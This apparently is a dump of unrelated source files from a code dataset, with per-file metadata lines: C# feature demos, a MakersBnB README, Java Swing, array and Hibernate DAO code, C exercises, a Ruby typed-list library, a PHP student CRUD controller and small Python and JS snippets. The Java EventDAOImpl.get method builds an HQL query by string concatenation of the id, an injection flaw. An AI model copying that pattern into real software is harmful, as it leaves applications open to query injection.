pd.DataFrame(ano2018()) df2018.to_excel(writer, sheet_name= 'ena2018', index= True, startcol = 1, startrow = 1) writer.save() df2017 = pd.DataFrame(ano2017()) df2017.to_excel(writer,sheet_name= 'ena2017', index= True, startcol= 1, startrow = 1) writer.save()
C#
UTF-8
11,856
3.015625
3
[]
no_license
using ConsoleAppTest.DebugAndSecurity; using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading; using System.Transactions; // Aliased generics: using ASimpleName = System.Collections.Generic.Dictionary<string, System.Collections.Generic.Dictionary<string, System.Collections.Generic.List<string>>>; namespace ConsoleAppTest.Services { // TODO: semaphore, Transaction, Marshalling, public class SpecialFeatures { private T DefaultValue<T>() { return default(T); } public void DeafultValues() { ArrayList list = new ArrayList(); list.Add(DefaultValue<bool>()); list.Add(DefaultValue<string>()); list.Add(DefaultValue<int>()); list.Add(DefaultValue<double>()); list.Add(DefaultValue<float>()); list.Add(DefaultValue<char>()); list.Add(DefaultValue<MusicTrack>()); list.Add(DefaultValue<object>()); list.Add(DefaultValue<byte[]>()); list.Add(DefaultValue<DateTime>()); foreach (var elem in list) { Console.WriteLine(elem); } } public void HasValueProperty() { int? x = null; int y; if (x.HasValue) y = x.Value; bool b = x.HasValue; } public void StringJoin() { string outPut = String.Join(",", new string[] {"Hello", "There", "!" }); Console.WriteLine(outPut); // TODO: Visual Studio feature. When you start your comment with TODO, it's added to your Visual Studio Task List (View -> Task List. Comments) var list = Enumerable.Range(0, 100); foreach (int elem in list) { Console.WriteLine(elem); } } public void MultipleObjectsUsing() { //using (Font f1 = ) //{ //} } // DefaultValue attribute -> Specifies the default value for a property. [DefaultValue(true)] public bool SomeProperty { get; set; } // Describes a clone of a transaction providing guarantee that the transaction cannot be committed until the application comes to // rest regarding work on the transaction. This class cannot be inherited. public void Transactionc() { using (TransactionScope scope = new TransactionScope()) { // Perform transactional work here. } } public void StringIsNullOrEmptyUsage() { string s = ""; if (String.IsNullOrEmpty(s)) Console.WriteLine("Empty!"); } // iterate through your generic list using a delegate method public void ListForeach() { List<string> list = new List<string>() { "a", "b", "c", "d" }; list.ForEach(s => { Console.WriteLine(s); }); } // On-demand field initialization in one line: private string _str; public string Str { get { return _str ?? "new string"; } } // Auto properties can have different scopes public int MyInt { get; private set; } // You can use @ for variable names that are keywords public void UsingVariableNamesThatAreKeywors() { var @string = "hello"; var @int = new object(); var @object = 99; Console.WriteLine(@string); } // Events are really delegates under the hood and any delegate object can have multiple functions attached to it and detatched from it // Events can also be controlled with the add/remove, similar to get/set except they're invoked when += and -= are use private event EventHandler _handler; public event EventHandler Handler { add { if (value.Target == null) throw new Exception("No static handlers!"); _handler += value; } remove { _handler -= value; } } public void CheckedAndUnchecked() { short x = 32767; // maximum value for short int z2 = unchecked((short)(x + x)); // -2 int z3 = (short)(x + x); // -2 Console.WriteLine("z2={0}, z3={1}", z2, z3); int z1 = checked((short)(x + x)); // will throw OverflowException } // Preprocessor directives public void IfDebug() { #if DEBUG Console.WriteLine("Debug version!"); #endif } public void AnonymuousFunctions() { var f = new Func<string>(() => { return "string"; }); Func<int, int, string> add = (a, b) => Convert.ToString(a + b); Func<int, int, string> addAnother = (a, b) => { var i = a + b; return i.ToString(); }; Console.WriteLine(f() + add(1,2) + addAnother(2,3)); } public void FormatStringBrackets() { int foo = 3; string bar = "mice"; string s = String.Format("{{I am in brackets!}} {0} {1}", foo, bar); Console.WriteLine(s); //Outputs "{I am in brackets!} 3 mice" } static Mutex mutObj = new Mutex(); static int x = 0; private void Count() { mutObj.WaitOne(); x = 1; for (int i = 0; i < 9; i++) { Console.WriteLine("Thread: {0}, x: {1}", Thread.CurrentThread.Name, x); x++; Thread.Sleep(200); } mutObj.ReleaseMutex(); } public void UsingMutex() { for (int i = 0; i < 5; i++) { Thread newThread = new Thread(Count); newThread.Name = "thread " + i.ToString(); newThread.Start(); } } // create semaphore static Semaphore semaphore = new Semaphore(3, 3); public void UsingSemaphore() { } // The DebuggerDisplayAttribute controls how an object, property, or field is displayed in the // debugger variable windows. This attribute can be applied to types, delegates, properties, fields, and assemblies. [DebuggerDisplay("{value}", Name = "{key}")] public class KeyValuePair { public KeyValuePair(string key, string value) { this.key = key; this.value = value; } public string key { get; set; } public string value { get; set; } } // Weak references in .Net create references to large objects in your application that are used infrequently so that // they can be reclaimed by the garbage collector if needed public void WeakRefernceUsage() { KeyValuePair keyValuePair = new KeyValuePair("a", "stuff"); WeakReference reference = new WeakReference(keyValuePair); keyValuePair = null; if (reference.IsAlive) { Console.WriteLine("Obj is alive"); KeyValuePair pair = reference.Target as KeyValuePair; Console.WriteLine(pair.value); } } // public void UsingGoTo() { for (int i = 0; i < 10; i++) { if (i % 3 == 0) { goto DivisibleBy3; } } DivisibleBy3: Console.WriteLine("Divisible by 3"); } // When passing by value (without ref) method does not get a variable, but its copy // when ref -> method gets address of the variable in memory public void PassByReferenceAndValue() { int a = 5; Increment(a); // i=6 Console.WriteLine("a={0}", a); // a=5 a = 5; IncrementReference(ref a); // i=6 Console.WriteLine("a={0}", a); // a=6 int z; Sum(10, 10, out z); Console.WriteLine("Sum={0}", z); // z=20 } // value passed private void Increment(int i) { i++; Console.WriteLine("i={0}", i); } // reference passed private void IncrementReference(ref int i) { i++; Console.WriteLine("i={0}", i); } private void Sum(int x, int y, out int a) { a = x + y; } // pass by refernce, but you can not change content inside method private void IncrementInt(in int i) { // following will be compile error //i = 10; } public void CastingAs() { object a = 1; var casted = a as MusicTrack; // will be null if not casted, not throwing an exception Console.WriteLine(casted); } // The stackalloc operator allocates a block of memory on the stack. A stack alllocated memory block is automatically discarded when method returns. // U can not explicitly free memory allocated with stackalloc, it is not subject to GC. // stackalloc T<E>, where T:unmanaged, E -> int expression. public void StackallocUsage() { // You can assign stackalloc result to one of the following types: Span<T> int length = 3; Span<int> numbers = stackalloc int[length]; for (var i = 0; i < length; i++) { numbers[i] = i; } int lengthB = 1000; Span<byte> buffer = lengthB <= 1024 ? stackalloc byte[lengthB] : new byte[lengthB]; Span<int> numbersNew = stackalloc[] { 1, 2, 3, 4, 5, 6 }; // And pointers: unsafe { int l = 3; int* numbs = stackalloc int[l]; for (var i = 0; i < l; i++) { numbs[i] = i; } } // The use of stackalloc automatically enables buffer overrun detection features in the common language runtime (CLR). If a buffer overrun is // detected, the process is terminated as quickly as possible to minimize the chance that malicious code is executed. // Unmanaged types: // sbyte, byte, short, ushort, int, uint, long, ulong, char, float, double, decimal, or bool // Pointer, enum; structs containing unmngd above } public unsafe void Pointers() { int i = 100; int* iAdress = &i; // &x gives the memory address of the variable x Console.WriteLine((long)iAdress); // displays the memory adress Console.WriteLine(*iAdress); // displ. value at the adress *iAdress = 10; Console.WriteLine(i); i = 20; Console.WriteLine(*iAdress); bool b = true; bool* bAdress = &b; // &x gives the memory address of the variable x Console.WriteLine((long)bAdress); // displays the memory adress Console.WriteLine(*bAdress); // displ. value at the adress *bAdress = false; Console.WriteLine(b); } } }
Markdown
UTF-8
1,727
2.953125
3
[]
no_license
# MakersBnB ## First Makers Academy group project. Simple posting web app built as a lite version of AirBnB. The app was built as the first group project during the Makers Academy coding bootcamp. ### Team members: [Isabel Larner](https://github.com/ilarne), [Sulaiman Ahmadshah](https://github.com/sulaimancode), [Henry Hobhouse](https://github.com/henryhobhouse), [Unai Motriko Gomez](https://github.com/motri) ## Quick start The app is web based but as using Angular (2.0) it needs to have two servers running using CORS as middleware to connect the two. * Ensure MongoDB is installed with the service running. * Clone the github repo to your local machine * Ensure that NodeJS (6 or above) is installed * Run 'npm install' followed by 'npm start' at the root of the app from the command line to start the main server and connection the Mongo Database * Visit the angular folder "angular-src" and additionally run 'npm install' followed by 'npm start' to start the Angular service. * Open your browser to http://localhost:4200 ### User Stories ``` As a user, So I can have an account, I would like to sign up. As a member, so I can add a listing, I would like to sign in. As a member, so I can add a listing, I need to be able to add details of listing. ``` ## Tests There are two seperate testing packages and locations. The first from the root of the app which uses Mocha to test the models. The second is from the Angular-src folder that uses Karma with Jasmine to test the user interface. Each can be be run using the 'npm test' from the the command line from within the perspective folders. Note the app was built using TDD methodology so the single failing test is due to functionality yet to be built due to the project week stoping deveopment.
Java
UTF-8
296
2.375
2
[]
no_license
//import java.awt.Image; //import javax.swing.*; class SJFrame extends javax.swing.JFrame { /** * */ private static final long serialVersionUID = 1L; SJFrame() { setSize(500,90); setTitle("Java with SJ"); setVisible(true); //setIconImage(new Image("c:\\")); } }
C
UTF-8
1,454
3.796875
4
[]
no_license
#include <stdio.h> #include <stdlib.h> #define TRUE 1 #define FALSE 0 /* * return true if all the value in the array is negetive * argument: input array, size of array */ int isNeg(int*, int); /* * return the maximun number of the two input * argument: number one, number two */ int maxNum(int x, int y); /* * return the maximum sum of the child array * argument: input array, size of the array */ int maxSum(int*, int); int main() { int arraySize; int* inputArray; scanf("%d", &arraySize); inputArray = (int *)malloc(sizeof(int) * arraySize); int i; for(i = 0; i < arraySize; i++) { scanf("%d", &inputArray[i]); } if(isNeg(inputArray, arraySize) == TRUE) { printf("0\n"); return 0; } int max = maxSum(inputArray, arraySize); printf("%d\n", max); free(inputArray); return 0; } int isNeg(int* numArray, int size) { int i = 0; for(; i < size; i++) { if(numArray[i] >= 0) { return FALSE; } } return TRUE; } int maxNum(int x, int y) { if(x >= y) { return x; } else{ return y; } } int maxSum(int* numArray, int size) { int startN = numArray[size - 1]; int allN = numArray[size - 1]; int i; for(i = size - 2; i >= 0; i--) { startN = maxNum(numArray[i], numArray[i] + startN); allN = maxNum(startN, allN); } return allN; }
Java
UTF-8
850
3.5625
4
[]
no_license
package day27_arrays05; import java.util.*; public class CopyOf2 { public static void main(String[] args) { int [] nums1 = {34, 56, 23, 1, 55}; int [] nums2 = Arrays.copyOf(nums1, nums1.length+2); int [] nums3 = Arrays.copyOfRange(nums1, 1, 4); System.out.println(Arrays.toString(nums2)); System.out.println(Arrays.toString(nums3)); nums2 [5] = 100; nums2 [6] = 200; System.out.println(Arrays.toString(nums2)); int [] brandNew = {34, 23, 54, 23}; System.out.println("Length before: "+ brandNew.length); brandNew = Arrays.copyOf(brandNew, brandNew.length + 5); System.out.println("Length after: "+ brandNew.length); int [] nums4 = {20, 30, 40, 50}; int [] nums5 = new int [5]; int [] nums6 = Arrays.copyOf(nums4, nums5.length); System.out.println(Arrays.toString(nums6)); } }
Java
UTF-8
2,018
2.4375
2
[]
no_license
package com.niit.collaboration.dao; import org.springframework.stereotype.Repository; import org.hibernate.Criteria; import org.hibernate.SessionFactory; import org.springframework.beans.factory.annotation.Autowired; import com.niit.collaboration.model.Event; import org.springframework.transaction.annotation.Transactional; import java.util.List; import org.hibernate.Query; @Repository("eventDAO") public class EventDAOImpl implements EventDAO{ public EventDAOImpl() { System.out.println("*************default constructor called in EventDAOImpl***************"); } @Autowired private SessionFactory sessionFactory; public EventDAOImpl(SessionFactory sessionFactory) { this.sessionFactory = sessionFactory; } @Transactional public void saveOrUpdate(Event event) { System.out.println("*************saveOrUpdate called in EventDAOImpl***************"); sessionFactory.getCurrentSession().saveOrUpdate(event); } @Transactional public List<Event> list() { System.out.println("*************list called in EventDAOImpl***************"); @SuppressWarnings("unchecked") List<Event> list = (List<Event>) sessionFactory.getCurrentSession().createCriteria(Event.class).setResultTransformer(Criteria.DISTINCT_ROOT_ENTITY).list(); return list; } @Transactional public Event get(String id) { System.out.println("*************get called in EventDAOImpl***************"); String hql = "from Event where id="+ "'"+ id +"'"; Query query = sessionFactory.getCurrentSession().createQuery(hql); @SuppressWarnings("unchecked") List<Event> list = (List<Event>) query.list(); if(list!=null && !list.isEmpty()) { return list.get(0); } return null; } @Transactional public void delete(String id) { System.out.println("*************delete called in EventDAOImpl***************"); Event event = new Event(); event.setId(id); sessionFactory.getCurrentSession().delete(event); } }
Ruby
UTF-8
2,282
3.046875
3
[ "MIT" ]
permissive
require 'rspec' require 'pry' require 'list' include List List::Configuration.validate! # set lists to raise errors class ListOfNumbers < List[Integer] def sum inject(&:+) end def mean sum / count end end class ListOfStrings < List[String] def longest sort_by(&:length).reverse.first end def to_s map { |s| "- #{s}" }.join("\n") + "\n" end end class ListOfHashes < List[Hash] end # some more things... Int = Integer class PairOfInts < Tuple[Int,Int] def x; first end def y; second end end module Arithmetic def average(xs) sum(xs) / xs.count end def sum(xs) xs.inject(&:+) end end Point = Tuple[Int,Int] class Points < List[Point] include Arithmetic def center xs = map(&:first) ys = map(&:second) [ average(xs), average(ys) ] end end ### one-of (unions) class Username < String; end class Email < String; end class UserAccount < Tuple[Username, Email]; end class Anonymous; end class User < OneOf[ UserAccount, Anonymous ] def display_name case item when UserAccount then "#{item.first} <#{item.second}>" when Anonymous then "guest-user-1" # look, no else end end end ### records # class Animal < Record[ species: String, genus: String ] def nomenclature [ genus, species ].join(' ') end end ## ducktyping # Numberish = RespondsTo[:to_i] ### typeclasses... class Empty; end class Leaf < Struct.new(:value); end Node = Tuple[ Datatype[:Tree], Leaf, Datatype[:Tree] ] Tree = Datatype[ :Tree, OneOf[ Empty, Leaf, Node ] ] # -- now that Tree is defined we can just reopen... class Tree def depth case item when Empty then 0 when Leaf then 1 when Node then left,_m,right=*item.values 1+[left.depth,right.depth].max end end def insert(x) case item when Empty then Tree[ Leaf[x] ] when Leaf then m=item.value if x > m Tree[ Node[ Tree[Empty.new], item, Tree[Leaf[x]] ]] else Tree[ Node[ Tree[Leaf[x]], item, Tree[Empty.new] ]] end when Node then left,m,right=*item.values if x > m Tree[ Node[left, m, right.insert(x)] ] else Tree[ Node[left.insert(x), m, right] ] end end end end ### wrapped functions??? ### gadts???
Java
UTF-8
17,005
1.796875
2
[]
no_license
/******************************************************************************* * . * Velo 1.0 * ---------------------------------------------------------- * * Pacific Northwest National Laboratory * Richland, WA 99352 * * Copyright (c) 2013 * Pacific Northwest National Laboratory * Battelle Memorial Institute * * Velo is an open-source collaborative content management * and job execution environment * distributed under the terms of the * Educational Community License (ECL) 2.0 * A copy of the license is included with this distribution * in the LICENSE.TXT file * * ACKNOWLEDGMENT * -------------- * * This software and its documentation were developed at Pacific * Northwest National Laboratory, a multiprogram national * laboratory, operated for the U.S. Department of Energy by * Battelle under Contract Number DE-AC05-76RL01830. ******************************************************************************/ /* * Spinner.java - A spinner component * Author: Eclipse.org * Modified by: Sergey Prigogin * swtcalendar.sourceforge.net * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ package org.vafada.swtcalendar; import java.text.DecimalFormat; import java.text.NumberFormat; import java.text.ParseException; import java.util.IdentityHashMap; import org.eclipse.swt.SWT; import org.eclipse.swt.SWTError; import org.eclipse.swt.events.FocusEvent; import org.eclipse.swt.events.FocusListener; import org.eclipse.swt.events.ModifyListener; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.events.SelectionListener; import org.eclipse.swt.events.TraverseEvent; import org.eclipse.swt.events.TraverseListener; import org.eclipse.swt.events.VerifyEvent; import org.eclipse.swt.events.VerifyListener; import org.eclipse.swt.graphics.Font; import org.eclipse.swt.graphics.GC; import org.eclipse.swt.graphics.Point; import org.eclipse.swt.layout.FillLayout; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Control; import org.eclipse.swt.widgets.Event; import org.eclipse.swt.widgets.Text; import org.eclipse.swt.widgets.TypedListener; /** * * @version $Revision: 1.0 $ */ public class Spinner extends Composite implements FocusListener { private static final int BUTTON_WIDTH = 16; private IdentityHashMap selectionListeners = new IdentityHashMap(3); private int minimum; private int maximum; private boolean cyclic; private NumberFormat numberFormat = new DecimalFormat("0"); private boolean settingValue; private boolean inFocus; private Text text; private RepeatingButton upButton; private RepeatingButton downButton; /** * Constructor for Spinner. * @param parent Composite * @param style int */ public Spinner(Composite parent, int style) { super(parent, style); setFont(parent.getFont()); minimum = 0; maximum = 9; setBackground(getDisplay().getSystemColor(SWT.COLOR_WHITE)); final GridLayout gridLayout = new GridLayout(); gridLayout.numColumns = 2; gridLayout.verticalSpacing = 0; gridLayout.marginWidth = 0; gridLayout.marginHeight = 0; gridLayout.horizontalSpacing = 0; setLayout(gridLayout); { text = new Text(this, SWT.RIGHT); text.setFont(getFont()); final GridData gridData = new GridData(GridData.FILL_HORIZONTAL); text.setLayoutData(gridData); text.addVerifyListener(new VerifyListener() { public void verifyText(VerifyEvent event) { verify(event); } }); text.addTraverseListener(new TraverseListener() { public void keyTraversed(TraverseEvent event) { traverse(event); } }); text.addFocusListener(this); } { final Composite buttonHolder = new Composite(this, SWT.NO_FOCUS); buttonHolder.setFont(getFont()); final GridData gridData = new GridData(GridData.HORIZONTAL_ALIGN_FILL | GridData.FILL_VERTICAL); gridData.widthHint = BUTTON_WIDTH; buttonHolder.setLayoutData(gridData); buttonHolder.setLayout(new FillLayout(SWT.VERTICAL)); upButton = new RepeatingButton(buttonHolder, SWT.ARROW | SWT.CENTER | SWT.UP | SWT.NO_FOCUS); upButton.setFont(getFont()); upButton.addSelectionListener(new SelectionAdapter() { public void widgetSelected(SelectionEvent event) { upInternal(); text.setFocus(); } }); downButton = new RepeatingButton(buttonHolder, SWT.ARROW | SWT.CENTER | SWT.DOWN | SWT.NO_FOCUS); downButton.setFont(getFont()); downButton.addSelectionListener(new SelectionAdapter() { public void widgetSelected(SelectionEvent event) { downInternal(); text.setFocus(); } }); } setTabList(new Control[]{text}); setValueInternal(minimum); } public void up() { settingValue = true; try { upInternal(); } finally { settingValue = false; } } public void down() { settingValue = true; try { downInternal(); } finally { settingValue = false; } } /** * Method setValue. * @param value int */ public void setValue(int value) { settingValue = true; try { setValueInternal(value); } finally { settingValue = false; } } /** * Method getValue. * @return int */ public int getValue() { try { return numberFormat.parse(text.getText()).intValue(); } catch (ParseException e) { return minimum; } } /** * Method setMaximum. * @param maximum int */ public void setMaximum(int maximum) { this.maximum = maximum; setValue(getValue()); } /** * Method getMaximum. * @return int */ public int getMaximum() { return maximum; } /** * Method setMinimum. * @param minimum int */ public void setMinimum(int minimum) { this.minimum = minimum; setValue(getValue()); } /** * Method getMinimum. * @return int */ public int getMinimum() { return minimum; } /** * Returns <code>true</code> if the Spinner is in cyclic mode, otherwise <code>false</code>. * @return boolean */ public boolean isCyclic() { return cyclic; } /** * Sets cyclic mode. In cyclic mode pressing the up arrow button repeatedly * increments the value from <code>minimum</code> to <code>maximum</code> and then * starts from <code>minimum</code> again. * * @param cyclic <code>true</code> to set cyclic mode, <code>false</code> to turn it off. */ public void setCyclic(boolean cyclic) { this.cyclic = cyclic; } /** * Method setRange. * @param minimum int * @param maximum int * @param cyclic boolean */ public void setRange(int minimum, int maximum, boolean cyclic) { this.minimum = minimum; this.maximum = maximum; this.cyclic = cyclic; setValueInternal(getValue()); } /** * @return Returns the number format used by the spinner. */ public NumberFormat getNumberFormat() { return numberFormat; } /** * @param numberFormat The number format to set. */ public void setNumberFormat(NumberFormat numberFormat) { int val = getValue(); this.numberFormat = numberFormat; setValue(val); } /** * @return Returns the initial repeat delay in milliseconds. */ public int getInitialRepeatDelay() { return upButton.getInitialRepeatDelay(); } /** * @param initialRepeatDelay The new initial repeat delay in milliseconds. */ public void setInitialRepeatDelay(int initialRepeatDelay) { upButton.setInitialRepeatDelay(initialRepeatDelay); downButton.setInitialRepeatDelay(initialRepeatDelay); } /** * @return Returns the repeat delay in millisecons. */ public int getRepeatDelay() { return upButton.getRepeatDelay(); } /** * @param repeatDelay The new repeat delay in milliseconds. */ public void setRepeatDelay(int repeatDelay) { upButton.setRepeatDelay(repeatDelay); downButton.setRepeatDelay(repeatDelay); } /* (non-Javadoc) * @see org.eclipse.swt.widgets.Control#setFont(org.eclipse.swt.graphics.Font) */ public void setFont(Font font) { super.setFont(font); if (text != null) { text.setFont(font); } } /** * Method isSettingValue. * @return boolean */ public boolean isSettingValue() { return settingValue; } /** * Method addModifyListener. * @param listener ModifyListener */ public void addModifyListener(ModifyListener listener) { text.addModifyListener(listener); } /** * Method removeModifyListener. * @param listener ModifyListener */ public void removeModifyListener(ModifyListener listener) { text.removeModifyListener(listener); } /** * Method addSelectionListener. * @param listener SelectionListener */ public void addSelectionListener(SelectionListener listener) { if (listener == null) { throw new SWTError(SWT.ERROR_NULL_ARGUMENT); } TypedListener typedListener = new TypedListener(listener); selectionListeners.put(listener, typedListener); addListener(SWT.Selection, typedListener); } /** * Method removeSelectionListener. * @param listener SelectionListener */ public void removeSelectionListener(SelectionListener listener) { if (listener == null) { throw new SWTError(SWT.ERROR_NULL_ARGUMENT); } TypedListener typedListener = (TypedListener) selectionListeners.remove(listener); if (typedListener != null) { removeListener(SWT.Selection, typedListener); } } /* (non-Javadoc) * @see org.eclipse.swt.widgets.Control#computeSize(int, int) */ /** * Method computeSize. * @param wHint int * @param hHint int * @param changed boolean * @return Point */ public Point computeSize(int wHint, int hHint, boolean changed) { if (wHint == SWT.DEFAULT) { GC gc = new GC(text); wHint = Math.max(gc.textExtent(numberFormat.format(maximum)).x, gc.textExtent(numberFormat.format(maximum)).x); gc.dispose(); } Point size = text.computeSize(wHint, hHint, changed); size.x += BUTTON_WIDTH; if ((getStyle() & SWT.BORDER) != 0) { int border = getBorderWidth(); size.x += border * 2; size.y += border * 2 + 3; } size.y = (size.y + 1) & ~1; // Round up to an even number. return size; } protected void upInternal() { int val = getValue(); val++; if (val > maximum) { if (cyclic) { val = minimum; } else { val = maximum; } } setValueInternal(val); notifyListeners(SWT.Selection, new Event()); } protected void downInternal() { int val = getValue(); val--; if (val < minimum) { if (cyclic) { val = maximum; } else { val = minimum; } } setValueInternal(val); notifyListeners(SWT.Selection, new Event()); } /** * Method setValueInternal. * @param value int */ protected void setValueInternal(int value) { if (value < minimum) { value = minimum; } else if (value > maximum) { value = maximum; } String str = numberFormat.format(value); if (!str.equals(text.getText())) { text.setText(str); } } /** * Method verify. * @param event VerifyEvent */ private void verify(VerifyEvent event) { for (int i = 0; i < event.text.length(); i++) { char c = event.text.charAt(i); if (!Character.isDigit(c) && !(minimum < 0 && c == '-' && i == 0 && event.start == 0) && numberFormat.format(minimum).indexOf(c) < 0) { event.doit = false; break; } } } /** * Method traverse. * @param event TraverseEvent */ private void traverse(TraverseEvent event) { switch (event.detail) { case SWT.TRAVERSE_ARROW_PREVIOUS: if (event.keyCode == SWT.ARROW_UP) { event.doit = true; event.detail = SWT.NULL; upInternal(); } break; case SWT.TRAVERSE_ARROW_NEXT: if (event.keyCode == SWT.ARROW_DOWN) { event.doit = true; event.detail = SWT.NULL; downInternal(); } break; } } /* (non-Javadoc) * @see org.eclipse.swt.events.FocusListener#focusGained(org.eclipse.swt.events.FocusEvent) */ public void focusGained(FocusEvent focusEvent) { if (!inFocus) { inFocus = true; Event event = new Event(); event.time = focusEvent.time; notifyListeners(SWT.FocusIn, event); } } /* (non-Javadoc) * @see org.eclipse.swt.events.FocusListener#focusLost(org.eclipse.swt.events.FocusEvent) */ public void focusLost(FocusEvent focusEvent) { if (!isFocusControl()) { inFocus = false; Event event = new Event(); event.time = focusEvent.time; notifyListeners(SWT.FocusOut, event); } } /* (non-Javadoc) * @see org.eclipse.swt.widgets.Control#isFocusControl() */ public boolean isFocusControl() { Control control = getDisplay().getFocusControl(); return control == this || control == text; } }
Python
UTF-8
214
2.625
3
[]
no_license
import os cwd = os.getcwd() module_dir = os.path.dirname(__file__) full_path, curent_folder = os.path.split(module_dir) print(full_path) print(curent_folder)
Markdown
UTF-8
610
2.71875
3
[]
no_license
# REACT API movies -4th final GeeksHubs challenge The challenge is to create an API able to interact with API Endpoints provided by themoviedb. ## Getting started: ### npm install Installing npm for the application. ### npm start Runs the app in the development mode.\ Open [http://localhost:3000](http://localhost:3000) to view it in the browser. ## Techologies used -React -HTML5 -CSS3 -ES6 -API ### The app gives the info of each movie tytle that contains: <pre> -Poster -Title, Original Title -Average score -Release date -Overview </pre> ### The app contains search engine for movies by title.
JavaScript
UTF-8
170
2.640625
3
[]
no_license
export const fetchData = async (url) => { const response = await fetch(url); const jsonData = await response.json(); return jsonData; }
PHP
UTF-8
3,754
2.765625
3
[]
no_license
<?php //Controlador para el módulo de alumnos class AlumnosController extends Zend_Controller_Action { private $_model = null; public function init() { $this->_model = new DbTable_Alumnos(); $ajaxContext = $this->_helper->getHelper('AjaxContext'); $ajaxContext->addActionContext('list', 'html') ->addActionContext('modify', 'html') ->initContext(); } //Función para que muestre todos los alumnos al principio de la página public function indexAction() { $out = $this->_model->getAll(); $this->view->out = $out; } //Función para obtener un registro de la BD public function getAction() { $id=1; $out= $this->_model->getByID($id); $this->view->outs=$out; } //Función para actualizar la información de un alumno public function updateAction(){ $id=$this->getRequest()->getParam("id_a_modificar", null); $nombre = $this->getRequest()->getParam("nombre", null); $ap_pat = $this->getRequest()->getParam("ap_pat", null); $ap_mat = $this->getRequest()->getParam("ap_mat", null); $grado = $this->getRequest()->getParam("grado", null); $fecha_nacimiento_dia = $this->getRequest()->getParam("fecha_nacimiento_dia", null); $fecha_nacimiento_mes = $this->getRequest()->getParam("fecha_nacimiento_mes", null); $fecha_nacimiento_año = $this->getRequest()->getParam("fecha_nacimiento_año", null); //Variable para estructurar la fecha de nacimiento del alumno y guardarla en la BD $fecha_nacimiento = date("Y-m-d", strtotime($fecha_nacimiento_año."-".$fecha_nacimiento_mes."-".$fecha_nacimiento_dia)); //Array que contiene los datos que van a ser guardados en la BD $data = array( 'nombre' => $nombre, 'ap_pat' => $ap_pat, 'ap_mat' => $ap_mat, 'grado' => $grado, 'fecha_nacimiento'=> $fecha_nacimiento ); $this->_model->updateById($id, $data); } //Función que solo sirve para mostrar la vista de add public function addAction(){ } public function setAction() { //Variables dónde se guardan los datos enviados desde el formulario $nombre = $this->getRequest()->getParam("nombre", null); $ap_pat = $this->getRequest()->getParam("ap_pat", null); $ap_mat = $this->getRequest()->getParam("ap_mat", null); $grado = $this->getRequest()->getParam("grado", null); $fecha_nacimiento_dia = $this->getRequest()->getParam("fecha_nacimiento_dia", null); $fecha_nacimiento_mes = $this->getRequest()->getParam("fecha_nacimiento_mes", null); $fecha_nacimiento_año = $this->getRequest()->getParam("fecha_nacimiento_año", null); //Variable para estructurar la fecha de nacimiento del alumno y guardarla en la BD $fecha_nacimiento = date("Y-m-d", strtotime($fecha_nacimiento_año."-".$fecha_nacimiento_mes."-".$fecha_nacimiento_dia)); //Array que contiene los datos que van a ser guardados en la BD $data = array( 'nombre' => $nombre, 'ap_pat' => $ap_pat, 'ap_mat' => $ap_mat, 'grado' => $grado, 'fecha_nacimiento'=> $fecha_nacimiento ); //Método para insertar la información en la BD $this->_model->insert($data); $out ="Insert Exitoso"; //Variable que se envía a la vista $this->view->out = $out; } //Función que sirve para borrar un registro específico de la BD public function deleteAction(){ $id= $this->getRequest()->getParam("q", null); $this->_model->deleteByID($id); } public function formupdateAction(){ $id= $this->getRequest()->getParam("q", null); $this->view->out = $id; } }
TypeScript
UTF-8
402
2.609375
3
[]
no_license
import weatherRepository from '../api/repositories/weather.repository'; import { Coords } from '../model/interfaces/coords'; import { DailyWeather } from '../model/interfaces/daily-weather'; export class WeatherService { public static fetchWeatherByCoords = async (coords: Coords): Promise<DailyWeather[]> => { return await weatherRepository.fetchWeatherByCoords(coords.lat, coords.lon); }; }
C
UTF-8
2,452
4.34375
4
[]
no_license
#include <stdio.h> #include <stdbool.h> //Позволяет нам использовать булевы выражения тип(bool) может содержать 2 значение 1 - true or 0 - false #define SIZE 4 //Препроцессорная директива define /*while(условие цикла) { тело цикла }*/ int main (void) { int prices[SIZE] = { 100, 200, 300, 400 }; // Лучше использовать константу для прохода по массиву bool isTrue = true; bool isFalse = false; printf("True: %d, False: %d", isTrue, isFalse); printf("\r\n\r\nWhile loop: \r\n"); int i = 0; //Индексатор для цикла while(i < SIZE) //Выполнять пока i(0) < Size(4) { printf("%d\r\n",prices[i] ); i = i + 1; //После выполнения повысить значени i на 1 (можно написать i++;) } printf("\r\nFor loop: \r\n"); for (int i = 0; i < SIZE; i++) //В отличии от while в for можно задекларировать и проинициализировать переменную прямо в теле условия цикла for.Также этого всего нельзя в стандарте ANSI C в отличии от c99. Чтобs зациклить for нужно использовать ;; { printf("%d\r\n", prices[i]); } return 0; } /*Итерация в программировании — организация обработки данных, при которой действия повторяются многократно, не приводя при этом к вызовам самих себя (в отличие от рекурсии)[1]. Когда какое-то действие необходимо повторить большое количество раз, в программировании используются циклы. Например, нужно вывести 200 раз на экран текст «Hello, World!». Вместо двухсоткратного повторения одной и той же команды вывода текста часто создается цикл, который повторяется 200 раз и 200 раз выполняет то, что написано в теле цикла. Один шаг цикла и называется итерацией.*/
Java
UTF-8
3,277
3.90625
4
[]
no_license
